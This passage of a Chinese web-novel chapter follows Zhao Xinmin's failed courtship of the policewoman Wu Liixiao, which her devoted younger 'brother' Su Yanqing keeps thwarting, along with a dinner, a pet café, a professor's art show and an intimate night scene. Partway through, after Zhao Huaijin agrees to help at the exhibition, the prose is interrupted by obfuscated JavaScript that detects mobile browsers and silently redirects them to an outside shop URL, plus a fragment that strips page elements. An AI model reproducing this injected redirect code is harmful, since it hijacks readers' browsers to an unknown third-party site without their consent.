“得!”赵新雪灰溜溜地过来,幸灾乐祸地瞅着赵新民,“批斗大会又开始啦!” 赵父赵母恨铁不成钢地训了赵新民足足半个小时,终于认识到了问题一项关键所在——苏晏清好像在搅局! “老赵,我觉得武家那少爷……怎么有点属穆桂英的——阵阵落不下?” “嗯……”赵父点点头,“得想个办法把那孩子甩开,按理说就算从小带大的,也不至于这么黏姐姐,都多大了……小雪,你帮你弟弟想个办法呀!” 赵新雪抿着嘴笑了笑,“那你得想办法把他甩开,把摄政王带到那小奶狗找不到的地方不就行了?然后,玩点你擅长的。” “找不到?哪啊?”赵新民好像反应过来一点儿,“对了,咱家行,咱家这地方多适合捉迷藏啊!那次我姐追杀我,我就顺利逃脱了。” 要说赵家的格局也的确算是整个机关家属院里比较新奇。一栋十层的电梯楼,一楼、二楼和三楼做成了楼中楼的格局,又送了个能放下两辆轿车的地下车库。平时家里人喜欢从三楼正门进,一进屋先是玄关,然后是客厅、茶室、小书斋、大阳台,阳台上能并排放下两张乒乓球桌,还有两个卫生间和三个卧室。二楼则是厨房,厨房里还有个跟酒店后厨差不多大的配菜台和多功能洗碗柜。还有饭厅、棋牌室、卫生间。二楼的阳台则用来养鱼,种些荷花、菱角什么的水生植物。一楼是赵爸的专属活动室,那里有电脑、茶水、酒和烟,是他退休后为了躲避赵妈的唠叨或者被赵妈骂时的安身立命小天堂。还有一间杂物间以及能种花种树的小院落。他在院子里种了茶花、栀子、月季,还有几棵桂花树。如果不是怕邻居投诉,赵爸还想在院子里养几只鸡,既有田园风味,还能吃新鲜的鸡蛋。杂物间有个门,直通地下车库。地下车库卷帘门有个开关的指纹按钮,自己家人能自由地通过按钮出入。那次赵新民把赵新雪新入手的迪奥番茄色口红摔烂了,赵新雪想让他血债血偿时,他就通过卷帘门逃跑了。 赵新雪翻了个大大的白眼,赵母想了想,“对了,上次你们单位不是组织去九零农庄摘水果吗?你约小武姑娘去摘水果,那地方在郊区,那孩子肯定到不了。而且,那里还能做饭。你正好给小武展示你的手艺。” 赵新民恍然大悟,“有道理有道理!” 赵父赶紧接口道,“对了,上次我们单位组织退休职工去九零农庄,还买了当地的一只土鸡,用柴火灶炖的辣子鸡,味道真的跟超市的白条鸡不一样。小民,爸给你拿钱,买只土鸡给小武炖汤。” 赵母又指挥赵新雪,“小雪你明天陪你弟上街,买两件衬衫西裤的,再买双皮鞋,显得正式些。还有啊,把你那堆霜啊粉的,给你弟也抹抹,白净白净,细敷细敷。咱家小民是不捯饬,捯饬捯饬,不比武家那养孙差!” 全家齐上阵的赵新民终于穿着蓝黑条纹亚麻polo衫和黑色西装裤,捧着一大束玫瑰、月季、蔷薇和满天星出现在九零农庄门口等到了武厉枭,苏晏清还真的没有跟来。武厉枭笑道,“老同学,久等了吧?” “没有没有,”赵新民把花送了过去,“厉枭,你为啥不让我去接你呢?” “这地方我太熟了,全市各个中小学预防犯罪讲座、普法宣传、防卫安全自护演练都在这儿搞,我一年都要来这里好几回。不过,一直都没好好逛过。难得今天你约我来逛逛……武厉枭望着不远处一汪湛蓝的湖泊,“新民,你帮我拍张照片吧。你带相机了吗?” “相机?什么相机?” “单反啊。” “不是……用手机拍就行吗?” “手机的效果没有单反好。” “我……没有单反。” “不要紧,我有,我让人给我送来。” 半个小时后,苏晏清背着索尼单反相机、自拍架和补光灯驱车赶来,还给武厉枭带了一定田园风的蕾丝钉珠花边草帽,“姐姐,早上我忘了提醒你带防晒帽。我还带了补水防晒喷雾给你。” 武厉枭果然喷了一些,又带上防晒帽,“哎呀,这个帽子正好适合出片。” “爷爷让我问你今天回去吃饭吗?他让黄奶奶做姜醋鸡给你吃。” 赵新民一听这话,慌忙接口道,“厉枭,我跟农庄订了只土鸡,待会儿他们杀好会送过来。” 苏晏清道,“新民哥,你的意思是,他们杀好了,把白条鸡送过来?” “对对对,我们自己做饭,”赵新民一指黄泥坯茅草棚子里那些柴火大灶,“用柴火灶做饭,可有意思啦!” “啊?”苏晏清脸色都变了,连忙拉住武厉枭的手,紧张不已道,“姐姐,你刚才动那些柴火灶了吗?” “没有。”武厉枭摇摇头,“怎么了?” “这些柴火灶要自己劈柴,自己生火,一不小心不是被烫到手,就是被灶烟呛到。还有啊,那些炉灶没有抽油烟机,油烟那么大,不光辣眼睛冲鼻子,还会伤肺的。”苏晏清自责不已,“都怪我都怪我!你昨天说跟新民哥来九零农庄,我以为你只是拍拍照,忘了问你要不要做柴火饭。” 赵新民有些莫名其妙,“做一顿柴火饭而已,不至于吧。” 苏晏清严肃道,“哥,我姐在家里虽然有时也会做做饭,但我们家里用的是不粘锅,自带报警装置的电磁灶,油烟净化机……我姐从小到大,爷爷从来舍不得让她劈过柴生火。爷爷总说:女孩子是最精密的仪器,要要细心,再细心一些。”他把武厉枭拉到树下,脱下外套铺到石凳上,才让她坐下,“姐姐你在这里好好休息一下,我去柴火灶那边做饭,做好了叫你。”又嘱咐赵新民,“新民哥你在这边陪我姐拍照吧,记得不要让她靠近柴火灶。” 武厉枭赶紧拉住苏晏清,“宝宝你会生柴火灶吗?” 苏晏清点点头,“我以前做兼职的时候,帮人家做过农村大席,生过柴火灶。姐姐你放心吧!” “不行不行!”武厉枭脑子里马上闪过苏晏清被骗去毒贩交易现场做白案的画面,“你也不许去做,那里烟那么大,你本来就有慢性支气管炎,会咳嗽的。” 赵新民愣在了当场,服务员提着白条鸡走了过来,“先生,您的鸡。”他张了张嘴,半天没发出声音,最后只得挤出一句话,“要不,你们俩拍照……我去做饭吧……” 武厉枭挽着苏晏清的胳膊道,“新民,今天都别做饭了,咱们都用不惯柴火灶,一起看看风景拍拍照吧。” 赵新民搔搔头发,“其实……我们单位上个星期就在这里团建来着,我上周已经看过了风景,也就那样吧。” 苏晏清笑道,“我刚才在手机上看,上堡县的花海公园和童话小镇下周末有花车巡游、无人机表演和街边沉浸式实景话剧,要不,我们下周去那里看看吧?姐姐,我听说那种实景话剧是观众和npc零距离接触的,到时候我们一起去吧。” “好,”武厉枭点点头,“我听说,那里有好几个实景剧场:婚纱影楼剧场、童话城堡剧场、天鹅湖剧场、花园剧场……新民,我们到时候一起去吧?” 赵新民愣了愣,“话剧呀?就是小学课文那几个老人家写的那些呗,又长又闷,我看不懂啊!” 苏晏清笑道,“哥,不是《茶馆》、《骆驼祥子》那样的经典话剧,是开心麻花那种沉浸式话剧,很有意思的。” “我下周末……估计学校有公开课培训……” “那下次吧,”苏晏清道,“下次我到美团上买三张门票,到时候我去你们单位接你。今天我先带我姐回去了。新民哥,再见啊!” 苏晏清大大方方地伸出右手,跟赵新民握握手,带着武厉枭扬长而去。赵新民手心一阵黏腻,看着左手的那只白条鸡,给赵母打了个电话,“妈,今天晚上……给我做个苦瓜炖鸡……” 赵淮晋请武厉枭和苏晏清吃饭的地方是一家侘寂风高端素食餐厅。二人一走进包间,赵淮晋眼前陡然一亮,一个如皓月般朗阔,一个如星汉般皎洁,联手睥睨着整片夜空。 眼前这个男孩只有十九岁,眼神还带着懵懂的少年情致,面庞看着秀雅温润,骨架子却清瘦凛厉,倨傲不羁。赵淮晋从来很久没看到过这样的人,如星辰,如明镜,如灵涧,如雪峰顶的光晕。厄运于他而言仿佛是只是荡涤与洗礼。 赵淮晋满面春风地上前,给了武厉枭一个拥抱,“枭枭宝贝,好久不见。” “哥,最近好吗?”武厉枭也大大方方地跟他拥抱了一下,“给你介绍一下,我弟弟,苏晏清。” 苏晏清忙将准备好的一大捧蓝色妖姬献上,“淮晋哥,初次见面,我也不知道您喜欢什么,一点心意,还请您笑纳。” 赵淮晋望着那如平潭蓝眼泪般的花束,隐隐感觉那似乎是一种睥睨。他呵呵笑道,“老弟这名起得好,晏清,浪子晏清,风流倜傥呀!” “哥,是晏婴的晏,我小时候姐姐教过我,晏清,意思是河清海晏,盛世昌明。” “前几天我看到一本书上是这样说的:男人凭什么不配拥有一束花呢?意思是我们男人要大大方方地接受任何礼物,悦纳自我。那我就收下了这份别致的礼物了。来,枭枭,咱们坐。” 武厉枭笑道,“哥,你们那里的案子忙吗?” “忙,特别忙。”赵淮晋拍了拍武厉枭的肩膀道,“哥现在就遗憾哪,没跟你分到一个局。如果还像在警校里那样,咱俩缉拿、取证、预审、痕迹检验样样配合默契,我现在也不会如此焦头烂额了。” “有事跟妹妹说,都是自己家人,我一定帮忙。” 赵淮晋笑着摸摸她的头,“枭枭还是这么懂事,当时在读大学的时候有人还管你我叫神雕侠侣。” 武厉枭笑道,“其实他们不知道,咱俩的关系是兄妹开荒,哈哈哈……” 赵淮晋望向苏晏清道,“老弟看起来年纪很小呀?” “哥,我十九岁,成年了。” “在哥面前,十九岁自然是年轻的。十九岁,是晨雾的年纪,朝阳的年纪,所以晏清老弟看着,真是青葱岁月,锦瑟年华呀!对不对?” 武厉枭笑道:“哥,你也太夸张了吧,他还是个小孩子,你这么表扬他,不利于他进步哦。” “呵呵呵,枭枭,你还记得你哥我十九岁的样子吗?那天我看自己十九岁的照片,嗨呀,说得好听叫青涩,说得不好听是一脸蠢相。” “哪有啊,哥你可是校草级的男神啊!” 赵淮晋问苏晏清,“老弟喝什么酒?这里有白兰地和干红。” 苏晏清笑道,“我待会儿要开车,不能喝酒的。” “今天这么高兴,喝点吧,待会儿叫个代驾就是了。”赵淮晋打量着菜单,“哦,对了,老弟,我忘了,你刚成年,不宜饮酒。” 苏晏清点头道,“淮晋哥真是一语中的。平时爷爷也是这么说的。他老人家是传统糕点界的宗师,为了保持清醒的头脑和敏锐的味觉,一生滴酒不沾,茶叶都不喝。我平时跟爷爷学手艺,受爷爷教导熏陶,自然也要见贤思齐。” 第一道前菜很快就端上来了,名字很特别,叫“五色土”,盘子上铺着红黄白绿黑五种颜色的粉末,上面放着各种形状的蔬菜卷,造型很是别致。赵淮晋笑道,“这些蔬菜卷分别是酸甜苦辣咸五种不同味道的,很是特别。枭枭,尝一尝,先从绿色的吃起。” “嗯?这是为啥呢?” “吃的时候要按季节来分先后,一年之初是春天,春天草木发芽,自然是绿色的。”赵淮晋帮武厉枭斟了一杯茶,“晏清啊,你猜猜为啥是五种颜色的土呢?” “五色土,自然是根据中国土地而区分的。东北是黑土,华北是黄土,东南丘陵是红土,绿色说的是森林,白色是雪山。也可以说,五色,寓意着五行。黑主水,绿主木,红主火,黄主土,白主金。我说的对吗?” 赵淮晋笑道,“不愧是高考过了七百分的学霸。” “哥,你过奖了,高考不考五行,是爷爷教我的。” 武厉枭用筷子夹起一只迎春花形状的红色脆皮卷,咬了一口,“果然是花的口感,很是鲜嫩。” 苏晏清把纸巾递给她,“是焯过水的花瓣包裹着菌菇的内馅,在保留了草木清鲜的同时,又增加了软糯滑嫩的口感。你要是喜欢,我明天也给你做。” “好啊,求之不得。” “这种菌菇难得,不是市卖的杏鲍菇和榛蘑,是大兴安岭里的野生小青蘑,有市无价。”苏晏清笑道,“只是我做的话,要做六色土,加上蓝色。” “哦?”赵淮晋饶有兴趣道,“这是为啥呢?” “因为我们中国还有大面积的领海呀。蓝色的上面要放上用海鸭蛋制成的海苔紫菜卷,多了一味咸鲜口,滋味更好。” 赵淮晋一指那白色的蔬菜卷,“老弟,这个你能尝出来吗?” “是蝴蝶兰裹上奶油。我帮爷爷做花蜜的时候也曾经尝试过。” “绿色的呢?” “以豆腐打底,裹上地皮菇,插上笋芽,吃到嘴里,的确还有些微微的土腥气,仿佛一口咬下个春天……” 三人正品尝着,服务生已经端上来了三只椰子壳碗,里面漂浮着细碎的铃兰花屑。武厉枭皱着眉尝了一口,“酸酸的,还满香的。” 苏晏清笑道,“这菜做得颇有几分巧思。” 赵淮晋迟疑道,“你能尝出来?” “是葡萄番茄和竹茅根一起煮的,若是加上一点柠檬和薄荷,口感会更丰富。” 服务生在一旁笑道,“这位先生说得不错。”然后有端上来了三只竹筒饭,“三位请慢用。” 赵淮晋笑道,“老弟真是博学多闻啊,听说你还会做枣花馍?” “雕虫小技而已,不足挂齿。” “能得武爷爷青睐,怎么会是雕虫小技?” “爷爷青睐的是人品端正,对姐姐真诚的人。我只是凑巧符合了这两点,其实,也是爷爷心善。姐姐是爷爷带大的,一样那么善良。” “这个的确是,枭枭是我见过的最好的女孩子,天底下,不会有比枭枭更好的女生了。” “姐姐自然是世上最好的人,所以我会一生一世陪在姐姐身边,照顾她,绝无二心。” 赵淮晋冷笑道:“老弟,你这算不算姐宝男?” “不,我姐是我的信仰。” 武厉枭实在是有些如坐针毡了,从自己的竹筒里夹出一根鲜笋卷放到赵淮晋的碟子里,又夹一根鲜笋卷喂到苏晏清嘴里,“宝宝,姐姐平时怎么跟你说的,吃饭时要少说活,容易呛到。” 苏晏清点头笑道,“是,我错了,我闭嘴。” 赵淮晋也笑道,“是我这当哥的没起个好头。”又举起茶杯道,“来,我以茶代酒,敬我的妹妹弟弟一杯。” 三人吃过饭,天色还早。赵淮晋摸摸肚子说:“吃了这么多东西,也该消化出去,要不,非长肚腩不可。” 武厉枭点头笑道,“有道理,哥,你说我们去哪儿运动呢?” “去散打馆怎么样?枭枭,当年在警校里,这门课你永远是第一名。” “我不过是练得早了一点儿,其实每次咱俩对决的时候我都捏着一把汗呢!” “那今天,要不要再去松松筋骨,过两招?你忘了,当年在警校,班上只有咱俩参加过武警特战和猎鹰突击队特训。” 武厉枭笑得一脸自豪,“是啊,同学们都以为我毕业后能去干反恐。” 赵淮晋笑着看向苏晏清,“小家伙,要不要去见识一下,你姐姐做俯卧撑,单手都能过百。真的,当年大一刚入学的时候,全校都知道刑侦专业来了个文化课过六百,拿了武英级运动员证书的女生,都抢着去打听。结果一见是个扎着双马尾的娃娃脸小姑娘,心想能有传说中的那么厉害吗?结果军训第一天我们就服了,好家伙,那一顿通背拳打的,教官眼睛都直了……” 武厉枭笑道,“哪有那么夸张!” “真的,我头一次见到哪个女生耍九截鞭耍得满天都是残影,吓得教官军体拳都不敢教了。还有啊,你记得那次第一次上射击课吗?别的女生枪都不敢摸,你第一次摸枪,好嘛,九个八环,一个九环。全班都愣了,我们这些男生都说:厉枭以后当了警察,那犯罪嫌疑人的末日就到了……” “哥,你当年的专业课也很强啊。” “我可不像你,练的是童子功。走,再去切磋一把?” 武厉枭刚想答应,苏晏清闲闲道,“姐姐,你刚吃了饭,不要剧烈运动,对胃肠不好。万一拳脚打到了胃,搞不好会呕吐的。” 武厉枭怔了一下,马上反应过来,“还是我们宝宝说得对!那哥,咱俩就改天没吃饭的时候切磋吧。” 苏晏清道,“淮晋哥,我知道有个好地方,姐姐一定喜欢。” “好,那我们就去那儿吧。我来开车!”赵淮晋打开副驾驶的门,“枭枭,坐副驾来。” 苏晏清抢先一步坐到了副驾上,“哥,还是我坐副驾上吧,给你导航。” 原来苏晏清说的好地方居然是蓝鲸购物中心的宠物乐园! 武厉枭一看到那些狐狸犬、珍珠兔、布偶猫、小香猪立刻爱心大爆发,赶紧在收银台处买了一大堆的宠物零食挨个投喂,“哎呀,太可爱啦……宝宝你快看,这小比熊会笑……” 苏晏清也蹲在一边帮她泡宠物奶粉,“姐姐,这种刚睁开眼睛的幼崽要吃奶粉的……” 武厉枭把金毛幼崽抱在怀里,满眼温柔,慈爱不已地喂它吃奶粉,“金毛宝宝,要乖呦,不要被狡猾的边牧骗,记得不要吃粑粑……” 苏晏清剥开了一根鱼肉肠喂雪纳瑞,引得旁边的萨摩耶眼馋不已。苏晏清摸摸它的头和下巴,“你大一些,要摆正自己的身份和心态,学会谦让……” 赵淮晋无语到极致,陪着笑脸道,“枭枭,小心那些猫会抓人。” “不会,它们很乖的。”武厉枭把波斯猫的爪子举给他看,“你瞧,指甲剪得多干净!”又对苏晏清说:“宝宝你记得小时候村小卖店的那只狸花猫吗?” “记得,它好胖,毛油光水滑的,又软又亮。” “有一次我看到小卖店老板去镇里带回一大坨冰镇的刀鱼,觉得很奇怪,心想从没见过他们家吃刀鱼呀?就躲在屋后面观察——原来呀,他们是把刀鱼煮熟拌米饭给那猫吃。” “难怪他们家的猫特别馋,我记得小时候你一给我买火腿肠,那只猫就跟过来要抢。” “哎呀,当时为了你,我不知道揍了那猫多少回……哈哈哈……” 苏晏清拿出手机,“姐姐,我给你和小金毛拍照吧?这里这么可爱,肯定很出片。” “好啊好啊!”武厉枭抱着小金毛,举起它的爪子摆了好几个pose,又遗憾不已道,“可惜啊,它们这么可爱,我却不能带回家去。” 苏晏清连忙保证,“姐姐,你喜欢的话,就带回去,我来帮你照顾。我会给宠物喂饭,洗澡,清洗猫砂盆。” “你要读书,又住校,哪有时间照顾呢?” “那……我跟你保证,无论你什么时间想来看小金毛,我都陪你来。” 武厉枭眉开眼笑道,“宝宝你最好了……” 苏晏清搬来了两个凳子,一个给武厉枭,一个给赵淮晋,“哥,你蹲那么久腿麻了吧?坐下歇歇。”又给武厉枭倒了杯热水,“姐姐喝水。” 武厉枭笑着接过来,又递给赵淮晋一根猫条,“哥,猫咪都爱吃猫条的,你喂喂它们。” 赵淮晋接过来,随手钳起一只胖胖的橘猫就要往它嘴里塞。橘猫“喵喵”地惊叫不已,苏晏清赶紧抱过来安抚道,“不怕不怕哦,”又拿过鳕鱼肠喂它,“乖乖吃吧……” 橘猫蜷缩在苏晏清怀里,边吃肠边舔他的手,还时不常地斜着眼睛看赵淮晋,气得他恨不得按住那肥猫臭揍一顿。 武厉枭在宠物乐园玩得乐不思蜀,直到店面打烊了才恋恋不舍地离开。“宝宝,你怎么发现这个宝藏小店的?撸猫真好玩……看那些小兔子,白白的毛蓬松松的,真好rua……” 赵淮晋托着腮帮子坐着快睡着了,简直比熬夜盯嫌疑人还困,咖啡粉都嚼了好几袋。店员看武厉枭这么喜欢这里,便堆着笑容凑过来,“小姐姐,办张卡吗?一千块钱一年,送十根鳕鱼肠十根猫条哦,还可以随时过来玩。” 武厉枭刚想掏出手机扫付款码,苏晏清忙拦住了,“姐姐,你工作那么忙,没时间经常过来的。” 赵淮晋道,“枭枭,刚才班级同学群里发了一条群消息,周教授要筹办画展,同学们谁有空就过去帮忙。” 武厉枭打开手机一看,果然是当年教他们痕迹检验课的周正深教授要举办画展的消息。这老爷子一生未婚无儿无女,年轻时就喜欢画画,退休后更是日日以丹青自娱,只是年岁渐长,诸事力不从心。故而班级群里有人号召大家自愿帮忙。 “我周日下午有空,”武厉枭道,“周老师当年对我可好了,他有事,我一定帮忙。” 赵淮晋点点头,“枭枭,我也去。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849727|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' /p> 苏晏清道,“姐姐,我周日下午没事,老人家办画展,肯定有一些搬搬扛扛的活儿,他不方便做。我也一起去,帮忙做些力气活儿吧。” 赵淮晋脸色一暗,武厉枭点头同意了,“好,宝宝真懂事。” 周正深教授的个人画展在市老干部活动中心的一号展览厅举办。武厉枭和赵淮晋赶到时,老爷子已经指挥着装修工人把绝大部分画作挂上去了。当他看到昔日的得意弟子拿着鲜花和果篮对他表示祝贺时,笑得合不拢嘴,“哎呦,你们年轻人都忙,我这老头子一点个人爱好,还打扰你们,真不好意思。” “周老师,我们是您的学生,这次来,也是向您求教的。”武厉枭笑道,“当年跟您学痕迹检验,如今,也想学学艺术。” “好好好,”周正深慈爱地摸摸武厉枭的头,“你呀,跟读书时一样那么好学,嘴也变甜了。”又看了看旁边的苏晏清,“这小伙子是……” “是我弟弟,也是来帮忙的。” 苏晏清从一进展览馆就边看画边用手机记录着什么,直到武厉枭叫他,才如梦初醒般地过来鞠躬致意,“周老师好。” 周正深望着容貌清俊脱俗的苏晏清,“小伙子,你刚才一进屋就注意到你了,你一直在看画册,又看这些画,还边看边点手机。你是在记什么吗?” “我是在记笔记……哦,其实应该说,是记心得体会。” “心得体会?”周正深来了兴致,“我还是第一次知道,有人看我的画还能有心得体会。” 苏晏清一本正经道,“您的画在我看来,每一幅都有故事,无论是光影、色彩、线条、明暗对比,皆是在传达思想与情怀。比如这幅《树》,看似只画一棵树,实际用了多种颜色的绿:淡绿、墨绿、粉绿、翠绿……让人有一种春阳、雨水、雾气、东风皆是绿意盎然的错觉。” 周正深不觉震惊道,“哎呀,小伙子,你叫……什么来着……” “晏清,苏晏清。” “对对对,晏清,真没想到,你能看出我的画中这么多深意。” 苏晏清又指着另一幅画道,“还有您画的这张夜间华灯璀璨的高楼,我也非常喜欢——因为它刺激了我的灵感。我为它写了几句诗:摩天的大楼,用灯光流泻出青绿大地,千里江山。” “哎呀呀!太好了!太精准啦!”周正深赞道,“晏清,你真是才华横溢。” “不过是些文字游戏罢了。”苏晏清来到另一幅画下,“还有您这幅《峰峦迭起》,我也写出了几句诗:每一座山,都是一个神圣的灵魂,或苦恼,或欢喜,或沉思。” “太精准啦!”周正深拍着他的的肩膀赞道,“真是知音啊!” “是您的画启迪了我。”苏晏清谦虚地笑笑,“还有您这幅羹汤的素描。我也禁不住为它写诗:一碗羹汤,也可以是万古的清波,生出幽石。” 周正深激动不已,拉住去苏晏清对着武厉枭笑道,“厉枭,你这弟弟不简单啊!是学中文的吗?” “不是,他学法律的,在山大法学院。” “哎呀,学法律的?”周正深惊异道,“我最近啊,也正在考虑出一本画册,也想给我这些画配诗。但是这文字功底,我着实不行。晏清啊,你愿意跟我合作,出版这本诗画集吗?” 苏晏清一怔,受宠若惊道,“周老师,我……我这点微末的文字游戏,怎么配得上您的画……” “我画了大半辈子,终于遇到了你这个知音。”周正深握住他的手,“我跟你们法学院的吴院长是老朋友了,我跟他说:你帮助孤寡老人出诗画集,完成我毕生的心愿,给你加学分,好不好?到时候署名就署我们两个人的名字。你放心,老头子我不贪财。稿费和版税,我们两个人也是一人一半。” 苏晏清心下一惊,眼睛湿红了,对着周正深鞠了一个九十度的躬。他望着老人慈祥和蔼的面容,心头激荡,“周老师,您这么信任我……我……感谢您的信任……我……一定……努力……报答您……” “好孩子……”周正深对武厉枭笑道,“孩子们,今晚你们都留下吃饭。厉枭啊,我要跟你借一下你弟弟了。明天晏清放学后就来老干部活动中心找我,一起商量出诗画集的事。” “好,明天我弟放学后我就把他送来,让他向您学习。” 晚上九点多,苏晏清在灯下打开《刑法总论》复习的时候,武厉枭的声音在窗棂畔传来,如一丝暗夜里的清风,“宝宝,你睡了吗?” 苏晏清赶紧打开房门,只见武厉枭端着一碗香气四溢的琥珀色蛋羹走了进来,“刚才我看你没吃多少东西,怕你肚子饿,又做了一碗蛋羹给你。” “姐姐,麻烦你了。”苏晏清惊喜道,“味道好香啊!” 武厉枭舀了一勺吹了吹,喂给他吃了一口,“尝尝。” 苏晏清眼睛倏地一亮,皱眉道,“这味道……” “是不是有些熟悉?” “是……” 这是我用鳕鱼、虾仁、香菇、鸡胸肉、豆腐切碎剁成泥,和入鸡蛋液和牛奶,做成的蛋羹,也是你小时候最爱吃的。你呀,每次给你喂这个,你都急得不得了,一口刚喂进去,就哭咧咧地要吃第二口,根本不给我舀勺的机会,有时候还自己把小胖手伸到碗里去抓。哈哈哈……那次我要做作业,让外婆喂你吃。没想到你吃完了竟然举着碗走进来找我,说:姐姐……要要……哎呀,满脸都是蛋羹沫沫,像个小花猫似的……我笑得不得了,给你擦脸擦手换衣服,说:宝宝真棒,会叫姐姐了……” 苏晏清满眼的温柔,望着个子只到自己锁骨的武厉枭,拉着她坐到自己身边,“姐姐喂我……像小时候那样……” “又撒娇!你多大了?又不是当年,真拿你没办法!”武厉枭捏了捏他的脸,还是一勺一勺地将蛋羹喂给苏晏清,“你知不知道因为给你做辅食我挨了你奶奶多少唠叨?她总说我:枭枭,你是凤凰命,我家清宝是家雀命,你拿那些金贵玩意儿喂他,他会长出歪心思,会不认命的。你不是疼他,是害他……” “姐姐,那你生气吗?” “不生气。她又不敢骂我,更不敢打我,也不敢拦着我把你抱过来玩。你知道后来她为啥不唠叨了吗?那次你生病发高烧,是我用苹果、白萝卜、牛腩、排骨、姜片炖汤,喂给你喝,你出了一身的汗,就退烧了。哼!她不让我疼你,我偏要疼,偏不让你认命。你本来就不该留在望口村过他们那样的生活,你该去读大学,过好日子。” “我的好日子,就是跟你在一起的每分每秒。” 武厉枭喂完了蛋羹,又神秘地眨眨眼,“闭上眼睛。” 苏晏清闭上了眼睛,一脸期待地把脸凑过去,却感觉皮肤有一丝温润的凉意,一阵牛奶甜香幽幽传入鼻尖——是护肤霜。 “还记得吗?你小时候我每次给你洗完澡,都要给你擦的香香。” 香香?苏晏清忽然忆起梦魂深处那抹让他欲罢不能的牛奶甜香,如一丝云烟般萦绕着他,他每次想伸手抓,却总也抓不住。而如今,竟然如此真切地回来了,回到了他脸上。 武厉枭拿着手里那画着小孩头像的粉红色纸盒给苏晏清看,“这种护肤霜叫郁美净,本来是外婆卖给我的。我无意中看到说明书,小宝宝也可以用。我就每天给你洗完脸洗完澡后就给你擦香,然后把你抱出去挨家挨户地显摆。村里那些爷爷奶奶叔叔阿姨都说:晏清哪像望口村的娃娃,比北京娃上海娃还白嫩。不过这个时候我可不让他们抱你,他们刚从地里回来手上全是灰,抱脏了我还得给你洗一遍……” 武厉枭给苏晏清涂完护肤霜,“这盒就给你用了。” “姐姐,你喜欢这个味道吗?” “当然喜欢,这么多年,我只涂这种护肤霜,每次涂,就觉得你没有离开我,还是那个我可以抱着满村子显摆的小宝宝。” “好,那我也涂,天天都涂,涂一辈子。” 武厉枭握着苏晏清的手,殷殷叮嘱道:“宝宝,你还要答应姐姐三件事。” “什么事?” “第一件事:以后你的学费、住宿费、生活费都由我负责,以后你的生活费每个月从五千块钱涨到七千,我每个月一号会往你的手机里转账,你一定要收。” “不,姐姐,”武厉枭慌忙道,“太多了……” “这还多呀?我给你算一下,早餐要有鸡蛋和牛奶,午餐要三菜一汤,一大荤,一小荤,一素菜,晚餐也要这个标准。每天还有餐后水果,零食糕点……还有生活日用品,牙膏牙刷,洗发水沐浴露,洗面奶,面霜……这些总要用一些品质好的,不能省的。还有,买点学习资料,买点喜欢的东西,玩玩游戏,打打篮球,买点健身器材,添置几件新衣服,内衣袜子什么的。吃腻了食堂,还要点个外卖,到饭店里吃个小炒,喝杯咖啡,吃个下午茶。周末出去玩,和朋友去逛街爬山,唱KTV,来个周边短途游,看场电影,去小剧场里看场沉浸式话剧,小长假,寒暑假还要去外地来个五日游七日游的,哪里不需要钱?一个月七千,已经是很低了。” “我可以自己做兼职……” “这就是我要跟你说的第二件事。”武厉枭摸着他的脸,正色道,“你以后所有的兼职,都要先让我知道,由我来判断是否安全,然后你再去。我坚决不能允许你再有一丝丝危险的出现。其实,你还小,不需要赚钱。你现在要做的是享受美好,除了上课,你应该去玩,聚餐、唱卡拉OK,游泳,逛街,旅游……” “姐姐,其实……我挺想自食其力的……” “你要自食其力,也得等你长大后。在你还没长大前,作为你的家长,我必须保证你远离社会底层?” “社会底层?” “对,宝宝,社会底层的人,活着太辛苦了,为了生存,繁衍,他们不惜违背法律和道德。他们的认知很受局限,做恶而不自知,蒙昧而残忍。我曾经办过一个案子,有三个孩子被人杀了,杀了他们的,居然是他们十四岁的亲哥哥。那四个孩子的爸爸妈妈离婚了,妈妈又嫁了人,爸爸去了外地,一个月给大儿子两千块钱,把三个小孩子的吃喝拉撒全甩给了大儿子管。贫穷的生活,一眼望不到头的绝望,让大儿子杀了三个弟弟妹妹,然后自杀。但四个孩子的死,也没让他们的父母回来看一眼……我想,这就是社会底层人的一生,命悬一线的一生。所以宝宝,姐姐找回了你,坚决不能再让你接触到社会底层了。” “姐姐,我听你的。” “宝宝真乖,还有第三件事:你得当我的奇迹清清。” “什么是奇迹清清?” “就是我给你买衣服,买礼物,你都不可以拒绝。” 苏晏清想起武厉枭带他每次逛街时,都像抓捕犯罪嫌疑人似的,直奔男装区而去,雷霆万钧般地扫货:衬衫、polo衫、T恤衫、休闲裤、牛仔裤、西装裤……恨不得把货架搬空。以至于后来苏晏清都有些怕了,每次逛街都打着买资料的借口拉她去新华书店看书,绝口不提购物广场。 苏晏清乖巧地像猫咪一样蹭了蹭武厉枭的掌心,撅着嘴巴嘟嘟囔囔道,“姐姐,人家已经不是从前那个小宝宝了……” “你怎么不是小宝宝,”武厉枭一戳他的额心,“你呀,就是那个还没长大的小宝宝。我的宝宝这么漂亮可爱,我就是要好好打扮你。” 苏晏清张开手臂道,“不信,那你试试还能不能像从前那样抱起我?” “试试就试试!”武厉枭这个人最是有胜负欲,根本禁不得一点激将,“我还不信了,我一个武英级运动员还抱不起你!”她刚想把苏晏清抱起来,身下却一空,竟然整个人被苏晏清如婴儿般单身抱着腾到了半空中,吓得她脸上一红,赶紧捶了一下苏晏清的肩膀,垂着眼眸小声道,“坏宝宝,真能胡闹,快放下姐姐……” 苏晏清却根本不放,把嘴凑到她耳边,暗哑着嗓子道,“姐姐,我是你的宝宝……可我……也是个男人了……” 21. 山大的生活 山大法律专业的课程繁重是出了名的,用法律生们的话说:别人上的是大一,大二,大三,大四。我们上的是高四,高五,高六,高七。法律条文帙卷浩繁汗牛充栋不说,教授们隔三差五地检测也让他们防不胜防。故而在法学院的那栋教学楼里,基本上看不到聊天玩手机谈恋爱的踪影,直走晚上九点多还在教室里自习背诵的身影。 